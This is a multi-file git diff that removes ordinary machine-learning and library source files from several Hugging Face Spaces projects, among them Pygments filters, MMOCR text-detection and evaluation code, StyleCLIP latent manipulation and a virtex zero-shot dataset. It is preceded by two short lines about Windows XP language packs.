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-<p>You have successfully uninstalled a language pack for Windows XP SP3. You can now free up some disk space on your system.</p>
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-<p>However, language packs for Windows XP SP3 also have some limitations and drawbacks. For example, language packs do not change the language of third-party software or drivers that are installed on your system. Language packs also do not support speech recognition or text-to-speech features. Moreover, language packs can take up a lot of disk space and memory on your system, which can affect its performance and stability.</p>
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diff --git a/spaces/tjburns/ask_marcus_aurelius/.venv/lib/python3.10/site-packages/pip/_vendor/pygments/filter.py b/spaces/tjburns/ask_marcus_aurelius/.venv/lib/python3.10/site-packages/pip/_vendor/pygments/filter.py
deleted file mode 100644
index e5c9664938215620d656605ff0a7a5e7636370d2..0000000000000000000000000000000000000000
--- a/spaces/tjburns/ask_marcus_aurelius/.venv/lib/python3.10/site-packages/pip/_vendor/pygments/filter.py
+++ /dev/null
@@ -1,71 +0,0 @@
-"""
-    pygments.filter
-    ~~~~~~~~~~~~~~~
-
-    Module that implements the default filter.
-
-    :copyright: Copyright 2006-2022 by the Pygments team, see AUTHORS.
-    :license: BSD, see LICENSE for details.
-"""
-
-
-def apply_filters(stream, filters, lexer=None):
-    """
-    Use this method to apply an iterable of filters to
-    a stream. If lexer is given it's forwarded to the
-    filter, otherwise the filter receives `None`.
-    """
-    def _apply(filter_, stream):
-        yield from filter_.filter(lexer, stream)
-    for filter_ in filters:
-        stream = _apply(filter_, stream)
-    return stream
-
-
-def simplefilter(f):
-    """
-    Decorator that converts a function into a filter::
-
-        @simplefilter
-        def lowercase(self, lexer, stream, options):
-            for ttype, value in stream:
-                yield ttype, value.lower()
-    """
-    return type(f.__name__, (FunctionFilter,), {
-        '__module__': getattr(f, '__module__'),
-        '__doc__': f.__doc__,
-        'function': f,
-    })
-
-
-class Filter:
-    """
-    Default filter. Subclass this class or use the `simplefilter`
-    decorator to create own filters.
-    """
-
-    def __init__(self, **options):
-        self.options = options
-
-    def filter(self, lexer, stream):
-        raise NotImplementedError()
-
-
-class FunctionFilter(Filter):
-    """
-    Abstract class used by `simplefilter` to create simple
-    function filters on the fly. The `simplefilter` decorator
-    automatically creates subclasses of this class for
-    functions passed to it.
-    """
-    function = None
-
-    def __init__(self, **options):
-        if not hasattr(self, 'function'):
-            raise TypeError('%r used without bound function' %
-                            self.__class__.__name__)
-        Filter.__init__(self, **options)
-
-    def filter(self, lexer, stream):
-        # pylint: disable=not-callable
-        yield from self.function(lexer, stream, self.options)
diff --git a/spaces/tomofi/MMOCR/mmocr/core/evaluation/hmean.py b/spaces/tomofi/MMOCR/mmocr/core/evaluation/hmean.py
deleted file mode 100644
index b853b2da01723e82754149f3d47dea47350b0f60..0000000000000000000000000000000000000000
--- a/spaces/tomofi/MMOCR/mmocr/core/evaluation/hmean.py
+++ /dev/null
@@ -1,152 +0,0 @@
-# Copyright (c) OpenMMLab. All rights reserved.
-from operator import itemgetter
-
-import mmcv
-from mmcv.utils import print_log
-
-import mmocr.utils as utils
-from mmocr.core.evaluation import hmean_ic13, hmean_iou
-from mmocr.core.evaluation.utils import (filter_2dlist_result,
-                                         select_top_boundary)
-from mmocr.core.mask import extract_boundary
-
-
-def output_ranklist(img_results, img_infos, out_file):
-    """Output the worst results for debugging.
-
-    Args:
-        img_results (list[dict]): Image result list.
-        img_infos (list[dict]): Image information list.
-        out_file (str): The output file path.
-
-    Returns:
-        sorted_results (list[dict]): Image results sorted by hmean.
-    """
-    assert utils.is_type_list(img_results, dict)
-    assert utils.is_type_list(img_infos, dict)
-    assert isinstance(out_file, str)
-    assert out_file.endswith('json')
-
-    sorted_results = []
-    for idx, result in enumerate(img_results):
-        name = img_infos[idx]['file_name']
-        img_result = result
-        img_result['file_name'] = name
-        sorted_results.append(img_result)
-    sorted_results = sorted(
-        sorted_results, key=itemgetter('hmean'), reverse=False)
-
-    mmcv.dump(sorted_results, file=out_file)
-
-    return sorted_results
-
-
-def get_gt_masks(ann_infos):
-    """Get ground truth masks and ignored masks.
-
-    Args:
-        ann_infos (list[dict]): Each dict contains annotation
-            infos of one image, containing following keys:
-            masks, masks_ignore.
-    Returns:
-        gt_masks (list[list[list[int]]]): Ground truth masks.
-        gt_masks_ignore (list[list[list[int]]]): Ignored masks.
-    """
-    assert utils.is_type_list(ann_infos, dict)
-
-    gt_masks = []
-    gt_masks_ignore = []
-    for ann_info in ann_infos:
-        masks = ann_info['masks']
-        mask_gt = []
-        for mask in masks:
-            assert len(mask[0]) >= 8 and len(mask[0]) % 2 == 0
-            mask_gt.append(mask[0])
-        gt_masks.append(mask_gt)
-
-        masks_ignore = ann_info['masks_ignore']
-        mask_gt_ignore = []
-        for mask_ignore in masks_ignore:
-            assert len(mask_ignore[0]) >= 8 and len(mask_ignore[0]) % 2 == 0
-            mask_gt_ignore.append(mask_ignore[0])
-        gt_masks_ignore.append(mask_gt_ignore)
-
-    return gt_masks, gt_masks_ignore
-
-
-def eval_hmean(results,
-               img_infos,
-               ann_infos,
-               metrics={'hmean-iou'},
-               score_thr=0.3,
-               rank_list=None,
-               logger=None,
-               **kwargs):
-    """Evaluation in hmean metric.
-
-    Args:
-        results (list[dict]): Each dict corresponds to one image,
-            containing the following keys: boundary_result
-        img_infos (list[dict]): Each dict corresponds to one image,
-            containing the following keys: filename, height, width
-        ann_infos (list[dict]): Each dict corresponds to one image,
-            containing the following keys: masks, masks_ignore
-        score_thr (float): Score threshold of prediction map.
-        metrics (set{str}): Hmean metric set, should be one or all of
-            {'hmean-iou', 'hmean-ic13'}
-    Returns:
-        dict[str: float]
-    """
-    assert utils.is_type_list(results, dict)
-    assert utils.is_type_list(img_infos, dict)
-    assert utils.is_type_list(ann_infos, dict)
-    assert len(results) == len(img_infos) == len(ann_infos)
-    assert isinstance(metrics, set)
-
-    gts, gts_ignore = get_gt_masks(ann_infos)
-
-    preds = []
-    pred_scores = []
-    for result in results:
-        _, texts, scores = extract_boundary(result)
-        if len(texts) > 0:
-            assert utils.valid_boundary(texts[0], False)
-        valid_texts, valid_text_scores = filter_2dlist_result(
-            texts, scores, score_thr)
-        preds.append(valid_texts)
-        pred_scores.append(valid_text_scores)
-
-    eval_results = {}
-    for metric in metrics:
-        msg = f'Evaluating {metric}...'
-        if logger is None:
-            msg = '\n' + msg
-        print_log(msg, logger=logger)
-        best_result = dict(hmean=-1)
-        for iter in range(3, 10):
-            thr = iter * 0.1
-            if thr < score_thr:
-                continue
-            top_preds = select_top_boundary(preds, pred_scores, thr)
-            if metric == 'hmean-iou':
-                result, img_result = hmean_iou.eval_hmean_iou(
-                    top_preds, gts, gts_ignore)
-            elif metric == 'hmean-ic13':
-                result, img_result = hmean_ic13.eval_hmean_ic13(
-                    top_preds, gts, gts_ignore)
-            else:
-                raise NotImplementedError
-            if rank_list is not None:
-                output_ranklist(img_result, img_infos, rank_list)
-
-            print_log(
-                'thr {0:.2f}, recall: {1[recall]:.3f}, '
-                'precision: {1[precision]:.3f}, '
-                'hmean: {1[hmean]:.3f}'.format(thr, result),
-                logger=logger)
-            if result['hmean'] > best_result['hmean']:
-                best_result = result
-        eval_results[metric + ':recall'] = best_result['recall']
-        eval_results[metric + ':precision'] = best_result['precision']
-        eval_results[metric + ':hmean'] = best_result['hmean']
-    return eval_results
diff --git a/spaces/tomofi/MMOCR/mmocr/models/textdet/dense_heads/drrg_head.py b/spaces/tomofi/MMOCR/mmocr/models/textdet/dense_heads/drrg_head.py
deleted file mode 100644
index e3135ee0e79b3f347a5785580b1a0e3e5aa8843f..0000000000000000000000000000000000000000
--- a/spaces/tomofi/MMOCR/mmocr/models/textdet/dense_heads/drrg_head.py
+++ /dev/null
@@ -1,257 +0,0 @@
-# Copyright (c) OpenMMLab. All rights reserved.
-import warnings
-
-import numpy as np
-import torch
-import torch.nn as nn
-import torch.nn.functional as F
-from mmcv.runner import BaseModule
-
-from mmocr.models.builder import HEADS, build_loss
-from mmocr.models.textdet.modules import GCN, LocalGraphs, ProposalLocalGraphs
-from mmocr.utils import check_argument
-from .head_mixin import HeadMixin
-
-
-@HEADS.register_module()
-class DRRGHead(HeadMixin, BaseModule):
-    """The class for DRRG head: `Deep Relational Reasoning Graph Network for
-    Arbitrary Shape Text Detection <https://arxiv.org/abs/2003.07493>`_.
-
-    Args:
-        k_at_hops (tuple(int)): The number of i-hop neighbors, i = 1, 2.
-        num_adjacent_linkages (int): The number of linkages when constructing
-            adjacent matrix.
-        node_geo_feat_len (int): The length of embedded geometric feature
-            vector of a component.
-        pooling_scale (float): The spatial scale of rotated RoI-Align.
-        pooling_output_size (tuple(int)): The output size of RRoI-Aligning.
-        nms_thr (float): The locality-aware NMS threshold of text components.
-        min_width (float): The minimum width of text components.
-        max_width (float): The maximum width of text components.
-        comp_shrink_ratio (float): The shrink ratio of text components.
-        comp_ratio (float): The reciprocal of aspect ratio of text components.
-        comp_score_thr (float): The score threshold of text components.
-        text_region_thr (float): The threshold for text region probability map.
-        center_region_thr (float): The threshold for text center region
-            probability map.
-        center_region_area_thr (int): The threshold for filtering small-sized
-            text center region.
-        local_graph_thr (float): The threshold to filter identical local
-            graphs.
-        loss (dict): The config of loss that DRRGHead uses..
-        postprocessor (dict): Config of postprocessor for Drrg.
-        init_cfg (dict or list[dict], optional): Initialization configs.
-    """
-
-    def __init__(self,
-                 in_channels,
-                 k_at_hops=(8, 4),
-                 num_adjacent_linkages=3,
-                 node_geo_feat_len=120,
-                 pooling_scale=1.0,
-                 pooling_output_size=(4, 3),
-                 nms_thr=0.3,
-                 min_width=8.0,
-                 max_width=24.0,
-                 comp_shrink_ratio=1.03,
-                 comp_ratio=0.4,
-                 comp_score_thr=0.3,
-                 text_region_thr=0.2,
-                 center_region_thr=0.2,
-                 center_region_area_thr=50,
-                 local_graph_thr=0.7,
-                 loss=dict(type='DRRGLoss'),
-                 postprocessor=dict(type='DRRGPostprocessor', link_thr=0.85),
-                 train_cfg=None,
-                 test_cfg=None,
-                 init_cfg=dict(
-                     type='Normal',
-                     override=dict(name='out_conv'),
-                     mean=0,
-                     std=0.01),
-                 **kwargs):
-        old_keys = ['text_repr_type', 'decoding_type', 'link_thr']
-        for key in old_keys:
-            if kwargs.get(key, None):
-                postprocessor[key] = kwargs.get(key)
-                warnings.warn(
-                    f'{key} is deprecated, please specify '
-                    'it in postprocessor config dict. See '
-                    'https://github.com/open-mmlab/mmocr/pull/640'
-                    ' for details.', UserWarning)
-        BaseModule.__init__(self, init_cfg=init_cfg)
-        HeadMixin.__init__(self, loss, postprocessor)
-
-        assert isinstance(in_channels, int)
-        assert isinstance(k_at_hops, tuple)
-        assert isinstance(num_adjacent_linkages, int)
-        assert isinstance(node_geo_feat_len, int)
-        assert isinstance(pooling_scale, float)
-        assert isinstance(pooling_output_size, tuple)
-        assert isinstance(comp_shrink_ratio, float)
-        assert isinstance(nms_thr, float)
-        assert isinstance(min_width, float)
-        assert isinstance(max_width, float)
-        assert isinstance(comp_ratio, float)
-        assert isinstance(comp_score_thr, float)
-        assert isinstance(text_region_thr, float)
-        assert isinstance(center_region_thr, float)
-        assert isinstance(center_region_area_thr, int)
-        assert isinstance(local_graph_thr, float)
-
-        self.in_channels = in_channels
-        self.out_channels = 6
-        self.downsample_ratio = 1.0
-        self.k_at_hops = k_at_hops
-        self.num_adjacent_linkages = num_adjacent_linkages
-        self.node_geo_feat_len = node_geo_feat_len
-        self.pooling_scale = pooling_scale
-        self.pooling_output_size = pooling_output_size
-        self.comp_shrink_ratio = comp_shrink_ratio
-        self.nms_thr = nms_thr
-        self.min_width = min_width
-        self.max_width = max_width
-        self.comp_ratio = comp_ratio
-        self.comp_score_thr = comp_score_thr
-        self.text_region_thr = text_region_thr
-        self.center_region_thr = center_region_thr
-        self.center_region_area_thr = center_region_area_thr
-        self.local_graph_thr = local_graph_thr
-        self.loss_module = build_loss(loss)
-        self.train_cfg = train_cfg
-        self.test_cfg = test_cfg
-
-        self.out_conv = nn.Conv2d(
-            in_channels=self.in_channels,
-            out_channels=self.out_channels,
-            kernel_size=1,
-            stride=1,
-            padding=0)
-
-        self.graph_train = LocalGraphs(self.k_at_hops,
-                                       self.num_adjacent_linkages,
-                                       self.node_geo_feat_len,
-                                       self.pooling_scale,
-                                       self.pooling_output_size,
-                                       self.local_graph_thr)
-
-        self.graph_test = ProposalLocalGraphs(
-            self.k_at_hops, self.num_adjacent_linkages, self.node_geo_feat_len,
-            self.pooling_scale, self.pooling_output_size, self.nms_thr,
-            self.min_width, self.max_width, self.comp_shrink_ratio,
-            self.comp_ratio, self.comp_score_thr, self.text_region_thr,
-            self.center_region_thr, self.center_region_area_thr)
-
-        pool_w, pool_h = self.pooling_output_size
-        node_feat_len = (pool_w * pool_h) * (
-            self.in_channels + self.out_channels) + self.node_geo_feat_len
-        self.gcn = GCN(node_feat_len)
-
-    def forward(self, inputs, gt_comp_attribs):
-        """
-        Args:
-            inputs (Tensor): Shape of :math:`(N, C, H, W)`.
-            gt_comp_attribs (list[ndarray]): The padded text component
-                attributes. Shape: (num_component, 8).
-
-        Returns:
-            tuple: Returns (pred_maps, (gcn_pred, gt_labels)).
-
-                - | pred_maps (Tensor): Prediction map with shape
-                    :math:`(N, C_{out}, H, W)`.
-                - | gcn_pred (Tensor): Prediction from GCN module, with
-                    shape :math:`(N, 2)`.
-                - | gt_labels (Tensor): Ground-truth label with shape
-                    :math:`(N, 8)`.
-        """
-        pred_maps = self.out_conv(inputs)
-        feat_maps = torch.cat([inputs, pred_maps], dim=1)
-        node_feats, adjacent_matrices, knn_inds, gt_labels = self.graph_train(
-            feat_maps, np.stack(gt_comp_attribs))
-
-        gcn_pred = self.gcn(node_feats, adjacent_matrices, knn_inds)
-
-        return pred_maps, (gcn_pred, gt_labels)
-
-    def single_test(self, feat_maps):
-        r"""
-        Args:
-            feat_maps (Tensor): Shape of :math:`(N, C, H, W)`.
-
-        Returns:
-            tuple: Returns (edge, score, text_comps).
-
-                - | edge (ndarray): The edge array of shape :math:`(N, 2)`
-                    where each row is a pair of text component indices
-                    that makes up an edge in graph.
-                - | score (ndarray): The score array of shape :math:`(N,)`,
-                    corresponding to the edge above.
-                - | text_comps (ndarray): The text components of shape
-                    :math:`(N, 9)` where each row corresponds to one box and
-                    its score: (x1, y1, x2, y2, x3, y3, x4, y4, score).
-        """
-        pred_maps = self.out_conv(feat_maps)
-        feat_maps = torch.cat([feat_maps, pred_maps], dim=1)
-
-        none_flag, graph_data = self.graph_test(pred_maps, feat_maps)
-
-        (local_graphs_node_feat, adjacent_matrices, pivots_knn_inds,
-         pivot_local_graphs, text_comps) = graph_data
-
-        if none_flag:
-            return None, None, None
-
-        gcn_pred = self.gcn(local_graphs_node_feat, adjacent_matrices,
-                            pivots_knn_inds)
-        pred_labels = F.softmax(gcn_pred, dim=1)
-
-        edges = []
-        scores = []
-        pivot_local_graphs = pivot_local_graphs.long().squeeze().cpu().numpy()
-
-        for pivot_ind, pivot_local_graph in enumerate(pivot_local_graphs):
-            pivot = pivot_local_graph[0]
-            for k_ind, neighbor_ind in enumerate(pivots_knn_inds[pivot_ind]):
-                neighbor = pivot_local_graph[neighbor_ind.item()]
-                edges.append([pivot, neighbor])
-                scores.append(
-                    pred_labels[pivot_ind * pivots_knn_inds.shape[1] + k_ind,
-                                1].item())
-
-        edges = np.asarray(edges)
-        scores = np.asarray(scores)
-
-        return edges, scores, text_comps
-
-    def get_boundary(self, edges, scores, text_comps, img_metas, rescale):
-        """Compute text boundaries via post processing.
-
-        Args:
-            edges (ndarray): The edge array of shape N * 2, each row is a pair
-                of text component indices that makes up an edge in graph.
-            scores (ndarray): The edge score array.
-            text_comps (ndarray): The text components.
-            img_metas (list[dict]): The image meta infos.
-            rescale (bool): Rescale boundaries to the original image
-                resolution.
-
-        Returns:
-            dict: The result dict containing key `boundary_result`.
-        """
-
-        assert check_argument.is_type_list(img_metas, dict)
-        assert isinstance(rescale, bool)
-
-        boundaries = []
-        if edges is not None:
-            boundaries = self.postprocessor(edges, scores, text_comps)
-
-        if rescale:
-            boundaries = self.resize_boundary(
-                boundaries,
-                1.0 / self.downsample_ratio / img_metas[0]['scale_factor'])
-
-        results = dict(boundary_result=boundaries)
-
-        return results
diff --git a/spaces/tomofi/MMOCR/mmocr/models/textrecog/recognizer/sar.py b/spaces/tomofi/MMOCR/mmocr/models/textrecog/recognizer/sar.py
deleted file mode 100644
index 3f84cd00112a03aabf151d86396620eb4ca52e99..0000000000000000000000000000000000000000
--- a/spaces/tomofi/MMOCR/mmocr/models/textrecog/recognizer/sar.py
+++ /dev/null
@@ -1,8 +0,0 @@
-# Copyright (c) OpenMMLab. All rights reserved.
-from mmocr.models.builder import RECOGNIZERS
-from .encode_decode_recognizer import EncodeDecodeRecognizer
-
-
-@RECOGNIZERS.register_module()
-class SARNet(EncodeDecodeRecognizer):
-    """Implementation of `SAR <https://arxiv.org/abs/1811.00751>`_"""
diff --git a/spaces/ttt246/brain/Brain/tests/functional/test_recipes.py b/spaces/ttt246/brain/Brain/tests/functional/test_recipes.py
deleted file mode 100644
index 0d419f447f27256998286946d453b19e64ba186c..0000000000000000000000000000000000000000
--- a/spaces/ttt246/brain/Brain/tests/functional/test_recipes.py
+++ /dev/null
@@ -1,69 +0,0 @@
-import re
-
-from Brain.src.common.utils import (
-    OPENAI_API_KEY,
-    PINECONE_KEY,
-    PINECONE_ENV,
-    FIREBASE_ENV,
-)
-from Brain.src.firebase.cloudmessage import CloudMessage
-from Brain.src.firebase.firebase import initialize_app
-from Brain.src.model.req_model import ReqModel
-from Brain.src.rising_plugin.risingplugin import getCompletion, getTextFromImage
-from Brain.src.rising_plugin.image_embedding import query_image_text
-
-TEST_IAMGE_NAME = "0ddffe51-3763-48d9-ab74-2086de529217"
-TEST_UUID = "TEST_UUID"
-test_setting = ReqModel(
-    data={
-        "token": "test-token",
-        "uuid": TEST_UUID,
-        "openai_key": OPENAI_API_KEY,
-        "pinecone_key": PINECONE_KEY,
-        "pinecone_env": PINECONE_ENV,
-        "firebase_key": FIREBASE_ENV,
-        "settings": {"temperature": 0.6},
-    }
-)
-
-firebase_app = initialize_app(test_setting)
-
-
-def test_langchain():
-    error = "Error happened while analyzing your prompt. Please ask me again"
-    result = getCompletion(
-        query="open three.js website", setting=test_setting, firebase_app=firebase_app
-    )
-    print(result)
-    assert result != error
-
-
-def test_image2text():
-    error = "Error happened while analyzing your prompt. Please ask me again"
-    result = getTextFromImage(filename=TEST_IAMGE_NAME, firebase_app=firebase_app)
-    print(result)
-    assert result != error
-
-
-def test_firebase_cloud_message():
-    cloud_message = CloudMessage(firebase_app=firebase_app)
-    token_list = cloud_message.get_tokens()
-    notification = {"title": "alert", "content": "test"}
-
-    pattern = r"send to \d+ devices, with \d+ successed, with \d+ failed."
-
-    state, value = cloud_message.send_message(notification, token_list)
-    assert re.match(pattern, value)
-
-
-def test_query_image_text():
-    error = "Error happened in querying image & text"
-    result = query_image_text(
-        image_content=getTextFromImage(
-            filename=TEST_IAMGE_NAME, firebase_app=firebase_app
-        ),
-        message="",
-        setting=test_setting,
-    )
-    print(result)
-    assert result != error
diff --git a/spaces/ucalyptus/PTI/models/StyleCLIP/global_directions/manipulate.py b/spaces/ucalyptus/PTI/models/StyleCLIP/global_directions/manipulate.py
deleted file mode 100644
index e1a2480caad8016fea0c06f0bfe521b25f084436..0000000000000000000000000000000000000000
--- a/spaces/ucalyptus/PTI/models/StyleCLIP/global_directions/manipulate.py
+++ /dev/null
@@ -1,278 +0,0 @@
-
-
-import os
-import os.path
-import pickle
-import numpy as np
-import tensorflow as tf
-from dnnlib import tflib
-from global_directions.utils.visualizer import HtmlPageVisualizer
-
-
-def Vis(bname,suffix,out,rownames=None,colnames=None):
-    num_images=out.shape[0]
-    step=out.shape[1]
-    
-    if colnames is None:
-        colnames=[f'Step {i:02d}' for i in range(1, step + 1)]
-    if rownames is None:
-        rownames=[str(i) for i in range(num_images)]
-    
-    
-    visualizer = HtmlPageVisualizer(
-      num_rows=num_images, num_cols=step + 1, viz_size=256)
-    visualizer.set_headers(
-      ['Name'] +colnames)
-    
-    for i in range(num_images):
-        visualizer.set_cell(i, 0, text=rownames[i])
-    
-    for i in range(num_images):
-        for k in range(step):
-            image=out[i,k,:,:,:]
-            visualizer.set_cell(i, 1+k, image=image)
-    
-    # Save results.
-    visualizer.save(f'./html/'+bname+'_'+suffix+'.html')
-
-
-
-
-def LoadData(img_path):
-    tmp=img_path+'S'
-    with open(tmp, "rb") as fp:   #Pickling
-        s_names,all_s=pickle.load( fp)
-    dlatents=all_s
-    
-    pindexs=[]
-    mindexs=[]
-    for i in range(len(s_names)):
-        name=s_names[i]
-        if not('ToRGB' in name):
-            mindexs.append(i)
-        else:
-            pindexs.append(i)
-    
-    tmp=img_path+'S_mean_std'
-    with open(tmp, "rb") as fp:   #Pickling
-        m,std=pickle.load( fp)
-    
-    return dlatents,s_names,mindexs,pindexs,m,std
-
-
-def LoadModel(model_path,model_name):
-    # Initialize TensorFlow.
-    tflib.init_tf()
-    tmp=os.path.join(model_path,model_name)
-    with open(tmp, 'rb') as f:
-        _, _, Gs = pickle.load(f)
-    Gs.print_layers()
-    return Gs
-
-def convert_images_to_uint8(images, drange=[-1,1], nchw_to_nhwc=False):
-    """Convert a minibatch of images from float32 to uint8 with configurable dynamic range.
-    Can be used as an output transformation for Network.run().
-    """
-    if nchw_to_nhwc:
-        images = np.transpose(images, [0, 2, 3, 1])
-    
-    scale = 255 / (drange[1] - drange[0])
-    images = images * scale + (0.5 - drange[0] * scale)
-    
-    np.clip(images, 0, 255, out=images)
-    images=images.astype('uint8')
-    return images
-
-
-def convert_images_from_uint8(images, drange=[-1,1], nhwc_to_nchw=False):
-    """Convert a minibatch of images from uint8 to float32 with configurable dynamic range.
-    Can be used as an input transformation for Network.run().
-    """
-    if nhwc_to_nchw:
-        images=np.rollaxis(images, 3, 1)
-    return images/ 255 *(drange[1] - drange[0])+ drange[0]
-
-
-class Manipulator():
-    def __init__(self,dataset_name='ffhq'):
-        self.file_path='./'
-        self.img_path=self.file_path+'npy/'+dataset_name+'/'
-        self.model_path=self.file_path+'model/'
-        self.dataset_name=dataset_name
-        self.model_name=dataset_name+'.pkl'
-        
-        self.alpha=[0] #manipulation strength 
-        self.num_images=10
-        self.img_index=0  #which image to start 
-        self.viz_size=256
-        self.manipulate_layers=None #which layer to manipulate, list
-        
-        self.dlatents,self.s_names,self.mindexs,self.pindexs,self.code_mean,self.code_std=LoadData(self.img_path)
-        
-        self.sess=tf.InteractiveSession()
-        init = tf.global_variables_initializer()
-        self.sess.run(init)
-        self.Gs=LoadModel(self.model_path,self.model_name)
-        self.num_layers=len(self.dlatents)
-        
-        self.Vis=Vis
-        self.noise_constant={}
-        
-        for i in range(len(self.s_names)):
-            tmp1=self.s_names[i].split('/')
-            if not 'ToRGB' in tmp1:
-                tmp1[-1]='random_normal:0'
-                size=int(tmp1[1].split('x')[0])
-                tmp1='/'.join(tmp1)
-                tmp=(1,1,size,size)
-                self.noise_constant[tmp1]=np.random.random(tmp)
-        
-        tmp=self.Gs.components.synthesis.input_shape[1]
-        d={}
-        d['G_synthesis_1/dlatents_in:0']=np.zeros([1,tmp,512])
-        names=list(self.noise_constant.keys())
-        tmp=tflib.run(names,d)
-        for i in range(len(names)):
-            self.noise_constant[names[i]]=tmp[i]
-        
-        self.fmt = dict(func=tflib.convert_images_to_uint8, nchw_to_nhwc=True)
-        self.img_size=self.Gs.output_shape[-1]
-    
-    def GenerateImg(self,codes):
-        
-
-        num_images,step=codes[0].shape[:2]
-
-            
-        out=np.zeros((num_images,step,self.img_size,self.img_size,3),dtype='uint8')
-        for i in range(num_images):
-            for k in range(step):
-                d={}
-                for m in range(len(self.s_names)):
-                    d[self.s_names[m]]=codes[m][i,k][None,:]  #need to change
-                d['G_synthesis_1/4x4/Const/Shape:0']=np.array([1,18,  512], dtype=np.int32)
-                d.update(self.noise_constant)
-                img=tflib.run('G_synthesis_1/images_out:0', d)
-                image=convert_images_to_uint8(img, nchw_to_nhwc=True)
-                out[i,k,:,:,:]=image[0]
-        return out
-    
-    
-    
-    def MSCode(self,dlatent_tmp,boundary_tmp):
-        
-        step=len(self.alpha)
-        dlatent_tmp1=[tmp.reshape((self.num_images,-1)) for tmp in dlatent_tmp]
-        dlatent_tmp2=[np.tile(tmp[:,None],(1,step,1)) for tmp in dlatent_tmp1] # (10, 7, 512)
-
-        l=np.array(self.alpha)
-        l=l.reshape(
-                    [step if axis == 1 else 1 for axis in range(dlatent_tmp2[0].ndim)])
-        
-        if type(self.manipulate_layers)==int:
-            tmp=[self.manipulate_layers]
-        elif type(self.manipulate_layers)==list:
-            tmp=self.manipulate_layers
-        elif self.manipulate_layers is None:
-            tmp=np.arange(len(boundary_tmp))
-        else:
-            raise ValueError('manipulate_layers is wrong')
-            
-        for i in tmp:
-            dlatent_tmp2[i]+=l*boundary_tmp[i]
-        
-        codes=[]
-        for i in range(len(dlatent_tmp2)):
-            tmp=list(dlatent_tmp[i].shape)
-            tmp.insert(1,step)
-            codes.append(dlatent_tmp2[i].reshape(tmp))
-        return codes
-    
-    
-    def EditOne(self,bname,dlatent_tmp=None):
-        if dlatent_tmp==None:
-            dlatent_tmp=[tmp[self.img_index:(self.img_index+self.num_images)] for tmp in self.dlatents]
-        
-        boundary_tmp=[]
-        for i in range(len(self.boundary)):
-            tmp=self.boundary[i]
-            if len(tmp)<=bname:
-                boundary_tmp.append([])
-            else:
-                boundary_tmp.append(tmp[bname])
-        
-        codes=self.MSCode(dlatent_tmp,boundary_tmp)
-            
-        out=self.GenerateImg(codes)
-        return codes,out
-    
-    def EditOneC(self,cindex,dlatent_tmp=None): 
-        if dlatent_tmp==None:
-            dlatent_tmp=[tmp[self.img_index:(self.img_index+self.num_images)] for tmp in self.dlatents]
-        
-        boundary_tmp=[[] for i in range(len(self.dlatents))]
-        
-        #'only manipulate 1 layer and one channel'
-        assert len(self.manipulate_layers)==1 
-        
-        ml=self.manipulate_layers[0]
-        tmp=dlatent_tmp[ml].shape[1] #ada
-        tmp1=np.zeros(tmp)
-        tmp1[cindex]=self.code_std[ml][cindex]  #1
-        boundary_tmp[ml]=tmp1
-        
-        codes=self.MSCode(dlatent_tmp,boundary_tmp)
-        out=self.GenerateImg(codes)
-        return codes,out
-    
-        
-    def W2S(self,dlatent_tmp):
-        
-        all_s = self.sess.run(
-            self.s_names,
-            feed_dict={'G_synthesis_1/dlatents_in:0': dlatent_tmp})
-        return all_s
-        
-    
-    
-    
-    
-    
-
-
-#%%
-if __name__ == "__main__":
-    
-    
-    M=Manipulator(dataset_name='ffhq')
-    
-    
-    #%%
-    M.alpha=[-5,0,5]
-    M.num_images=20
-    lindex,cindex=6,501
-    
-    M.manipulate_layers=[lindex]
-    codes,out=M.EditOneC(cindex) #dlatent_tmp
-    tmp=str(M.manipulate_layers)+'_'+str(cindex)
-    M.Vis(tmp,'c',out)
-    
-    
-    
-    
-    
-    
-    
-    
-    
-    
-    
-    
-    
-    
-    
-    
-
-
-
-
diff --git a/spaces/umichVision/virtex-redcaps/virtex/data/datasets/zero_shot.py b/spaces/umichVision/virtex-redcaps/virtex/data/datasets/zero_shot.py
deleted file mode 100644
index 8e20100c15255d7707289786aea03853f6db5a50..0000000000000000000000000000000000000000
--- a/spaces/umichVision/virtex-redcaps/virtex/data/datasets/zero_shot.py
+++ /dev/null
@@ -1,125 +0,0 @@
-from collections import defaultdict
-import glob
-import json
-import os
-from typing import Callable, Dict, List, Tuple
-
-import cv2
-import numpy as np
-import torch
-from torch.utils.data import Dataset
-from torch.nn.utils.rnn import pad_sequence
-
-from virtex.data import transforms as T
-
-class ZeroShotDataset(Dataset):
-    def __init__(
-        self,
-        data_root: str = "datasets/inaturalist",
-        split: str = "train",
-        image_transform: Callable = T.DEFAULT_IMAGE_TRANSFORM,
-        label_map: str = None,
-        tokenizer = None,
-        model_dataset = 'redcaps',
-        prompt_cls_sos = None,
-        prompt_sos_eos = None
-        ):
-        
-        self.data_root = data_root
-        self.split = split
-        self.label_map = json.load(open(label_map))
-        self.tokenizer = tokenizer
-        self.image_transform = image_transform
-        self.model_dataset = model_dataset
-        self.prompt_cls_sos = prompt_cls_sos
-        self.prompt_sos_eos = prompt_sos_eos
-
-        im_id = 0
-        
-        self.image_id_to_file_path = {}
-        self.instances = []
-        
-        for folder_name,labelname in self.label_map.items():
-            image_folder = self.data_root + self.split + folder_name + "/"
-            for image_file in [x for x in os.listdir(image_folder) if x[-4:]=='.jpg']:
-                path = image_folder + image_file
-                self.image_id_to_file_path[im_id] = path
-                self.instances.append((im_id,labelname[1]))
-                im_id+=1
-                
-                
-        im_net_list =  [x[0].replace('_',' ').lower() for x in sorted(self.label_map.values(),key=lambda x: x[1])]
-        
-        print(im_net_list)
-        
-        cls_token = [tokenizer.token_to_id("[CLS]")]
-        sos_token = [tokenizer.token_to_id("[SOS]")]
-        eos_token =[tokenizer.token_to_id("[EOS]")]
-        
-        a_an_dets = [ " an " if cat[0].lower() in ["a","e","i","o","u"] else " a " for cat in im_net_list ]
-        imagenet_tensors = [cls_token
-                            +tokenizer.encode("i took a picture")
-                            +sos_token
-                            +tokenizer.encode("itap of "+a_an_dets[i]+im_net_list[i])
-                            +eos_token 
-                            for i in range(len(im_net_list))]
-
-        imagenet_tensors_backward = [cls_token
-                                     +tokenizer.encode("i took a picture")
-                                     +eos_token
-                                    +tokenizer.encode("itap of "+a_an_dets[i]+im_net_list[i])[::-1]
-                                    +sos_token 
-                                    for i in range(len(im_net_list))]
-      
-
-        tensor_lengths = torch.tensor([len(x) for x in imagenet_tensors])
-        imagenet_tensors_forward = [torch.tensor(x) for x in imagenet_tensors]
-        imagenet_tensors_backward = [torch.tensor(x) for x in imagenet_tensors_backward]    
